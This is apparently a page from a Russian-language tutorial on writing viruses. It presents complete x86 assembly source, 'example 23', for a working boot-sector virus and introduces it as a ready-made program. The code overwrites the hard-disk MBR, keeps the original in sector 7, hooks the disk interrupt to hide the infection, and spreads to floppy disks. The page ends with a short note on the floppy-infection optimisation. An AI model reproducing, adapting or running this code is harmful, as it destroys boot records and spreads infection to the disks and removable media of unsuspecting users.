Вот готовая программа:
-----------------------------------------------------------¬
¦ пример 23 ¦:
L-----------------------------------------------------------
.286p
TITLE Это - COM. программа N23 -- примитивный бутовый вирус
ASSUME CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment SEGMENT PARA
ORG(100h)
Start:
MainProcedure PROC NEAR
;
; ;внимание! -- при имплан-
; ; тации в область MBR
; ; сектор должен заканчиваться
; ; сигнфтурой 55AAh
;
Code_begining:CLI ;¬
XOR AX,AX ;+SS:SP = 0000:7C00
MOV SS,AX ;¦ перед областью
MOV SP,7C00h ;- загруженного кода
MOV SI,SP ;SI = 7C00
MOV DS,AX ;DS = 0
STI ;AX = 0
;
MOV BX,word ptr DS:[0413h] ;¬количество свободной
DEC BX ;+памяти уменшилось на 1 Кб
MOV word ptr DS:[0413h],BX ;-
SHL BX,06 ;TES = сегмент начала свобод-
MOV ES,BX ;- ной памяти
XOR DI,DI ;DI = 0
MOV CX,0100h ;¬
CLD ;+пересылаем данный сектор
REPNE MOVSW ;- в освобожден. область
;
PUSH ES ;¬
MOV BX,Continue_work-Code_begining;+продолжаем выполнение уже
PUSH BX ;¦ в пересланном коде
RETF ;-
;
;
Continue_work:MOV DX,0080h ;¬ side 0 disk 1
MOV CX,0001h ;¦ cyl 0 sect 7
MOV BX,7C00h ;¦
PUSH DS ;¦читаем MBR винчестера
POP ES ;+(001) в буфер по адресу
MOV AX,0201h ;¦ 0000:7C00h
INT 13h ;-
;
MOV AX,word ptr DS:[4Ch] ;сохраняем вектор 21h
MOV word ptr CS:[jmp_old_int13-Code_begining+1],AX
MOV AX,word ptr DS:[4Eh]
MOV word ptr CS:[jmp_old_int13-Code_begining+3],AX
CLI
MOV word ptr DS:[4Ch],Resident13_begining-Code_begining
MOV word ptr DS:[4Eh],CS ;перехватываем вектор 21h
STI
;
;
CMP word ptr ES:[7C0Fh],01E8Bh ;¬
JNE treat_it ;+проверяем, есть ли
CMP word ptr ES:[7C18h],0E3C1h ;¦в MBR сигнатура
JE no_treat_it ;-
treat_it: MOV CX,0007h ;¬
MOV AX,0301h ;+перемещаем оригинальн. MBR
INT 13h ;-
;
PUSH CS ;¬
POP ES ;¦
XOR BX,BX ;+замещаем оригинальн. MBR
MOV CX,0001h ;¦собственным кодом
MOV AX,0301h ;¦
INT 13h ;-
no_treat_it: DB 0EAh,00,7Ch,00,00 ;JMP far 0000:7C00h
;
;
Resident13_begining:
CMP DX,0080h ;¬
JNE no_stealth ;¦
CMP CX,0001h ;+включение
JNE no_stealth ;¦stealth-режима
CMP AH,02h ;¦
JNE no_stealth ;¦
MOV CX,0007h ;¦
JMP short jmp_old_int13 ;-
;
no_stealth: CMP DL,01h ;проверка работы с
JA jmp_old_int13 ; дисководами
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH ES
XOR AX,AX ;проверяем, включен ли
MOV ES,AX ; уже мотор дисковода
TEST byte ptr ES:[043Fh],1 ;
JNZ motor_started ;
XOR BX,BX ;¬
PUSH CS ;+обработка дискеты
POP ES ;¦
MOV DH,00 ;¦
MOV CX,0001h ;¦
MOV AX,0301h ;¦
PUSHF ;¦
PUSH CS ;-
CALL jmp_old_int13
motor_started:POP ES
POP DX
POP CX
POP BX
POP AX
jmp_old_int13: ;¬возврат управления DOS-у
DB 0EAh,00,00,00,00 ;-JMP far ????:????h
;
;
Resident_ending:
;
;
;
MainProcedure ENDP
;
CodeSegment ENDS
END Start
Для некоторой оптимизации предусмотрено вот что: резидент заражает дис-
кету только если мотор дисковода еще не включен (самое первое обращение к
дискете).
Оглавление
|